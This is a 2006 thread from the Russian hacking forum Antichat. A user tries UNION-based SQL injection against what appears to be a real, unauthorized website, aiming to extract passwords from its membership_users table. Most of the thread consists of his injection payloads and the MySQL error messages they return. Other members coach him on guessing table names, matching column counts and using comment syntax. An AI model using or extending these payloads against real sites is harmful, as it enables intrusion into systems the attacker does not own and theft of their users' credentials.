Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   И снова sql иньекция (https://forum.antichat.xyz/showthread.php?t=15663)

Spaiojek 09.03.2006 14:16
И снова sql иньекция
 
Нашол вот такую афигительную sql иньекцию:

Код:
[SELECT failed in SQL: SELECT id, parentid, name FROM membership_categories WHERE id = 2 union select null,null,null from admin] ( 1146 : Table 'igor987_studio.admin' doesn't exist )
Немогу таблицу с админкой прошупать, уже вариантов 20 попробывал, админка там точно есть с юзерами, у кого какие вварианты есть?

ZaCo 09.03.2006 14:34
видишь префикс membership_ ? ну попробуй с ним че нить намутить. таблица admin - на самом деле маловероятно... попробуй просто user,users (с префиксом).

Dronga 09.03.2006 14:39
admin_users встречал

Spaiojek 09.03.2006 14:53
Блин нашол вот такая фигня вылазит
Код:
[SELECT failed in SQL: SELECT COUNT(*) FROM membership_categories WHERE parentid=2 union select null,null,password from membership_users AND enabled=1] ( 1064 : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND enabled=1' at line 1 )
А после того как экранирую, такая
[SELECT failed in SQL: SELECT id, parentid, name FROM membership_categories WHERE id = 2 union select null,null,password from membership_users*/] ( 1064 : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '*/' at line 1 )

ZaCo 09.03.2006 15:22
бля нахуя тебе тут что-то эранировать тем более неправильно?
1)у тебя кол-во столбцов из второго слеекта должно быть равно кол-ву столбцов из первого, то есть один
2)твои коментарии должны выглядить так
Код:
/*КАМЕНТЫ*/
или
Код:
/*КАМЕНТЫ
с дальнейшими вопрjсами на mysql.ru

Spaiojek 09.03.2006 17:18
Код:
[SELECT failed in SQL: SELECT id, parentid, name FROM membership_categories WHERE id = 2 union select 0 from membership_users/*] ( 1222 : The used SELECT statements have a different number of columns )
Блин вставляю одно поле, он показывает что с базы выгрибает три, ставлю три поля показывает, как я рание писал, что за фигня? подскажитес....

Mobile 09.03.2006 19:49
Цитата:
Сообщение от Spaiojek
Код:
[SELECT failed in SQL: SELECT id, parentid, name FROM membership_categories WHERE id = 2 union select 0 from membership_users/*] ( 1222 : The used SELECT statements have a different number of columns )
Блин вставляю одно поле, он показывает что с базы выгрибает три, ставлю три поля показывает, как я рание писал, что за фигня? подскажитес....
Напиши Задохлику в асю, он в этом хорошо шарит...


Время: 02:26